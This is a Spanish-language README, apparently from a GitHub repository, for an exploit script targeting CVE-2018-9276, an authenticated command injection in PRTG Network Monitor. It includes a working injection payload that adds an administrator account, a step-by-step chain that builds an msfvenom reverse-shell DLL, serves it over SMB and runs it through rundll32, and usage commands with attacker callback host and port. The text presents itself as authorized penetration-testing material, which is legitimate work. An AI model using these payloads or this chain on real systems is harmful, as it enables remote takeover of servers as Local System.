
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE autenticada. Solo con fines educativos y pruebas de penetración autorizadas.
⚠️ Aviso: Esta herramienta tiene fines educativos y solo para pruebas de penetración autorizadas. Úsala únicamente contra sistemas que poseas o para los que tengas permiso explícito por escrito. El uso no autorizado es ilegal.
PRTG Network Monitor es una herramienta de monitoreo de red desarrollada por Paessler AG. Las versiones anteriores a 18.2.39 son vulnerables a una inyección de comandos autenticada a través de la función de notificaciones, lo que permite a un atacante con credenciales válidas lograr la Ejecución Remota de Código (RCE) como Sistema Local (la cuenta de servicio predeterminada para las instalaciones de PRTG).
Esta vulnerabilidad fue descubierta durante una prueba de penetración por Josh Berry y notificada a Paessler AG, quien publicó un parche el 20 de abril de 2018. Se le asignó el identificador CVE-2018-9276.
PRTG incluye un sistema de notificaciones que permite a los administradores ejecutar scripts cuando ocurren ciertos eventos. Para evitar la ejecución arbitraria de código, PRTG restringe qué scripts pueden ejecutarse a aquellos ubicados en un directorio específico del servidor. De forma predeterminada, solo hay dos scripts de demostración disponibles:
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1El script de demostración de PowerShell (OutFile.ps1) pasa el valor del campo Parameter de una notificación directamente al script sin ninguna sanitización. Esto hace posible inyectar comandos arbitrarios de PowerShell añadiéndolos después de un punto y coma:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
Cuando PRTG ejecuta la notificación, el comando inyectado se ejecuta con privilegios de Sistema Local.
Nota: El script por lotes (
OutFile.bat) no es vulnerable: Paessler parece sanitizar la entrada antes de pasarla al archivo por lotes. La inyección solo funciona a través del script.ps1.
El exploit automatiza los siguientes pasos:
1. Comprobar la versión del servidor → confirmar que el objetivo es vulnerable
2. Autenticarse → obtener una cookie de sesión válida
3. Preparar una notificación de archivo → inicializar un archivo de salida escribible en el objetivo
4. Activar la notificación de archivo → ejecutarla mediante /api/notificationtest.htm
5. Generar un DLL de shell inversa → msfvenom (windows/shell_reverse_tcp)
6. Alojar el DLL → servirlo a través de SMB desde la máquina del atacante
7. Preparar una notificación de comando → inyectar rundll32.exe <UNC_PATH>,0 después del archivo de salida
8. Activar la notificación de comando → ejecutar el DLL en el objetivo
9. Capturar la shell inversa → nc -nvlp <LPORT>
PRTG solo permite que los scripts ubicados en su directorio de instalación se ejecuten como notificaciones, por lo que no podemos simplemente subir y ejecutar un binario arbitrario. En su lugar, debemos:
msfvenom para generar una shell inversa de Windows como archivo .dll..dll en un recurso compartido SMB en la máquina del atacante.rundll32.exe \\attacker\share\payload.dll,0 a través del parámetro de la notificación de PowerShell.rundll32.exe puede cargar y ejecutar un DLL desde una ruta UNC, evitando la restricción sobre qué archivos puede ejecutar PRTG directamente.
msfvenom (parte de Metasploit Framework)netcat (nc)impacket — solo se necesita para el servidor SMB integrado (opcional, ver --no-smb)pip install impacket
Si ya tienes una forma de alojar el DLL (p. ej.,
impacket-smbserver,exploit/multi/handlerde Metasploit u otro servidor SMB), puedes omitir impacket por completo usando--no-smby--shell-location.
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # only impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host Target IP or hostname
-p, --port Target port (e.g. 80 or 443)
--lhost Local IP for the reverse shell callback
--lport Local port for the reverse shell callback
--user PRTG username (default: prtgadmin)
--password PRTG password (default: prtgadmin)
--https Use HTTPS (self-signed certificates accepted)
--no-smb Skip the built-in SMB server (payload already hosted)
--shell-location Override the UNC path to the DLL payload
-v, --verbose Enable verbose / debug output
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support
# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin) reducen drásticamente la barrera para la explotación.| Campo | Valor |
|---|
| CVE | CVE-2018-9276 |
| Afectados | PRTG Network Monitor < 18.2.39 |
| Tipo | Inyección de comandos autenticada |
| Privilegios | Requiere credenciales válidas de PRTG |
| Impacto | Ejecución remota de código como Sistema Local |
| Puntuación CVSS | 7.2 (Alta) |
| Parche | PRTG 18.2.39 (publicado el 20 de abril de 2018) |